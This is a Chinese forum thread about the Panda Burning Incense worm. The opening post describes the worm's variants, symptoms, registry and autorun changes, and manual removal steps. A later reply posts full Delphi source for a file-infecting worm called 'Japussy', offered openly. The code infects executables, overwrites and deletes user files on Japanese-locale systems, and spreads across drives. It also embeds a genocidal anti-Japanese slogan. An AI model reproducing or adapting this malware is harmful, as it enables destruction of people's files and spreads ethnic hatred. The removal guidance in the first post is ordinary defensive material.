|

[讨论]全面认识熊猫烧香(附手工查杀和专杀)  

回帖 楼主:zhuhaipc     发布时间: 西元2007年7月25日   [ 传小纸条 ]

按此在新窗口浏览图片


相信没人会对图中的熊猫图标陌生吧,没错,这就是大名鼎鼎的熊猫感染系统文件后的壮观景象,在此寒冰收集了网上一些文章和一些查杀方法,专杀工具,希望帮助各位度过这一难关,为爱机多添一分安全。

百度空间-蓝色寒冰+的安全地带同步进行发表,链接请查看寒冰的签名(雨林竟然屏蔽百度的链接,郁闷)



一、熊猫历史

病毒描述:


  “武汉男生”,俗称“熊猫烧香”,这是一个感染型的蠕虫病毒,它能感染系统中exe,com,pif,src,html,asp等文件,它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件,(.gho为GHOST的备份文件),使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。

到目前为止,从大体上分,目前主要有四大变种:

A病毒,就是FuckJacks.exe进程,
将自身复制为*System32*\FuckJacks.exe,然后感染除特殊文件夹之外的文件夹中的可执行文件。

B病毒,就是spoclsv.exe进程
将自身复制为*System32*\Drivers\spoclsv.exe,感染时在 c 盘根目录下生成感染标记文件。


C病毒
不再感染用户系统中的可执行文件,而是感染用户系统中的脚本病毒(这样的危害更大);而且在每个感染后的文件夹中写下感染标记文件。同时

对抗杀毒软件及专杀工具,杀毒公司惨遭屠戮(驱逐舰因为其超强免疫功能,所以免受其害)

D感染
最近才出现的一个变种,用户可执行文件时不再使用 A 和 B 版本中的直接捆绑感染。 用户中毒后可执行程序的图标不改变(a 和 b 版本感染

后可执行文件的图标都变成熊猫烧香),当感染该变种会在临时目录发现100个图标文件。还有其它一些变种,基本都是为了躲避查杀进行修改

和下载不同的后门的版本。






二、中毒症状

1,感染其他应用程序的.exe文件,并改变图标颜色,但不会感染微软操作系统自身的文件

2,删除GHOST文件(.gho后缀),网吧和学校机房深受其害

3,禁用进程管理器,禁用注册表

4,拷贝自身到所有驱动器根目录,命名为Setup.exe,并生成一个autorun.inf使得用户打开该

盘运行病毒,并将这两个文件属性设置为隐藏、只读、系统

5,修改注册表,加载自启动,并禁止显示隐藏文件

6,通过IPC$共享跨机传染,弱密码或空密码的文件服务器就要遭殃了

7、禁用杀毒工具运行


三、病毒流程分析(待补充)


根据流程图, 我们现在通过代码将病毒一层一层的解开, :





四、查杀方法



熊猫烧香病毒变种A:病毒进程为“spoclsv.exe”

  这是“熊猫烧香”早期变种之一,特别之处是“杀死杀毒软件”,最恶劣之处在于感染全盘.exe文件和删除.gho文件(Ghost的镜像文件)。

  最有“灵感”的一招莫过于在所有htm/html/asp/php/jsp/aspx文件末尾添加一段代码来调用病毒。目前所有专杀工具及杀毒软件均不会修复此病毒行为。需要手动清除病毒添加的代码,且一定要清除。否则访问了有此代码的网页,又会感染。其他老一点的“熊猫烧香”spoclsv变种的病毒行为比此版本少。就不再单独列出。
  

熊猫烧香病毒详细行为:

  1.复制自身到系统目录下:

  *System*\drivers\spoclsv.exe(“*System*”代表Windows所在目录,比如:C:\Windows)

  不同的spoclsv.exe变种,此目录可不同。比如12月爆发的变种目录是:C:\WINDOWS\System32\Drivers\spoclsv.exe。

  2.创建启动项:

  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
  "svcshare"="*System*\drivers\spoclsv.exe"

  3.在各分区根目录生成病毒副本:
  X:\setup.exe
  X:\autorun.inf

  autorun.inf内容:

  [AutoRun]
  OPEN=setup.exe
  shellexecute=setup.exe
  shell\Auto\command=setup.exe

  4.使用net share命令关闭管理共享:

  cmd.exe /c net share X$ /del /y
  cmd.exe /c net share admin$ /del /y

  5.修改“显示所有文件和文件夹”设置:

  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
  \Explorer\Advanced\Folder\Hidden\SHOWALL]
  "Checkedvalue"=dword:00000000

  6.熊猫烧香病毒尝试关闭安全软件相关窗口(略,其中最过分的竟然包含icesword,真是人怕出名猪怕壮阿,呵呵):

  7.尝试结束安全软件相关进程以及Viking病毒(威金病毒)进程(略,可以用熊猫杀威金哦,呵呵):

  8.禁用安全软件相关服务(略):

  9.删除安全软件相关启动项:

  SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask
  SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP
  SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav
  SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50
  SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI
  SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error Reporting Service
  SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE
  SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe
  SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse

  10.遍历目录修改htm/html/asp/php/jsp/aspx等网页文件,在这些文件尾部追加信息:

  

  但不修改以下目录中的网页文件(这些就是下文说的特殊文件夹啦,有什么重要文件资料可以寄放哦,呵呵):

  C:\WINDOWS
  C:\WINNT
  C:\system32
  C:\Documents and Settings
  C:\System Volume Information
  C:\Recycled
  Program Files\Windows NT
  Program Files\WindowsUpdate
  Program Files\Windows Media Player
  Program Files\Outlook Express
  Program Files\Internet Explorer
  Program Files\NetMeeting
  Program Files\Common Files
  Program Files\ComPlus Applications
  Program Files\Messenger
  Program Files\InstallShield Installation Information
  Program Files\MSN
  Program Files\Microsoft Frontpage
  Program Files\Movie Maker
  Program Files\MSN Gamin Zone

  11.在访问过的目录下生成Desktop_.ini文件,内容为当前日期。

  12.此外,病毒还会尝试删除GHO文件。

  病毒还尝试使用弱密码将副本以GameSetup.exe的文件名复制到局域网内其它计算机中:(略,建议还是给系统加一个复杂一点的密码吧)
  


病毒文件内含有这些信息:

  whboy
  ***武*汉*男*生*感*染*下*载*者***



解决方案:

  1. 结束病毒进程:

  *System*\drivers\spoclsv.exe

  不同的spoclsv.exe变种,此目录可不同。比如12月爆发的变种目录是:C:\WINDOWS\System32\Drivers\spoclsv.exe。但可用此方法清除

。“*System*\system32\spoclsv.exe”是系统文件。(目前看来没有出现插入该系统进程的变种,不排除变种的手法变化。)

  查看当前运行spoclsv.exe的路径,可使用超级兔子魔法设置。

  2. 删除病毒文件:

  *System*\drivers\spoclsv.exe

  请注意区分病毒和系统文件。详见步骤1。

  3. 删除病毒启动项:

  [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
  "svcshare"="*System*\drivers\spoclsv.exe"

  4. 通过分区盘符右键菜单中的“打开”进入分区根目录,删除根目录下的病毒文件:

  X:\setup.exe
  X:\autorun.inf

  5. 恢复被修改的“显示所有文件和文件夹”设置:

  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
  \Explorer\Advanced\Folder\Hidden\SHOWALL]
  "Checkedvalue"=dword:00000001

  6. 修复或重新安装被破坏的安全软件。

  7.修复被感染的程序。可用专杀工具进行修复,收集了四个供读者使用。金山熊猫烧香病毒专杀工具、安天熊猫烧香病毒专杀工具、江民

熊猫烧香病毒专杀工具和瑞星熊猫烧香病毒专杀工具。也可用手动方法(见本文末)。

  8. 恢复被修改的网页文件,可以使用某些编辑网页的工具替换被添加文字为空。机器上有htm/html/asp/php/jsp/aspx等网页文件,一定要删除此段代码。有危险代码的网页一但发布到网页可能会感染其他用户。
本帖最近评分记录:

 自:htpp://bbs.15735.com

回到帖子顶部

回帖引用 删除 修改 1楼:古木  西元2007年7月26日   [ 传小纸条 ]

有所了解,哈哈

顶上

回到帖子顶部

回帖引用 删除 修改 2楼:猫狗  西元2008年1月27日   [ 传小纸条 ]

我自己手上有从小山哥手里下载的熊猫源码:
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒体的大小
IconOffset = $12EB8; //PE文件主图标的偏移量

//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912; //Upx压缩过病毒体的大小
IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主图标的大小--744字节
IconTail = IconOffset + IconSize; //PE文件主图标的尾部
ID = $44444444; //感染标记

//垃圾码,以备写入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函数声明
var
Tmpfile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end;
{ 感染PE文件 }
procedure InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出错则文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己则不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //检查PE文件头
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //检查感染标记
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//头文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//写入目前程序的主图标
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//写入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只读属性
FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //写入垃圾码的随机次数
if Max < 5 then
Max := 5;
Mass := Size div Max; //每个间隔块的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //关闭文件
end;
DeleteFile(PChar(FileName)); //删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍历26个字母
begin
D := Chr(i + 65);
Str := D + ':\';
DiskType := GetDriveType(PChar(Str));
//得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍历目录,感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目录
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目录
else Result := 2; //是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可执行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,将Base64编码后的病毒写入
//感染浏览此网页的所有用户
//哪位大兄弟愿意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//获取Outlook邮件地址
end
else if Ext = '.ADC' then //Foxmail地址自动完成文件
begin
//获取Foxmail邮件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//获取Foxmail邮件地址
end
else
begin
if IsJap then //是倭文操作系统
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毁文件
end;
end;
end;
//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings + '\', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系统
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可写的磁盘列表
Len := Length(DriverList);
while True do //死循环
begin
for i := Len downto 1 do //遍历每个磁盘驱动器
LoopFiles(DriverList + ':\', '*.*'); //感染之
SendMail; //发带毒邮件
Sleep(1000 * 60 * 5); //睡眠5分钟
end;
end;
{ 主程序开始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之
InfectFiles; //感染和发邮件
end;
end.

回到帖子顶部
|
[1][下一页]

快速回复

[回复须知]       

About 15735 - 发展历程 - 广告服务 - 监督举报 - 网站地图
全国客服热线:0754-86307150 - 网友意见 © 2008 - 2010
 
0.08 秒   Archiver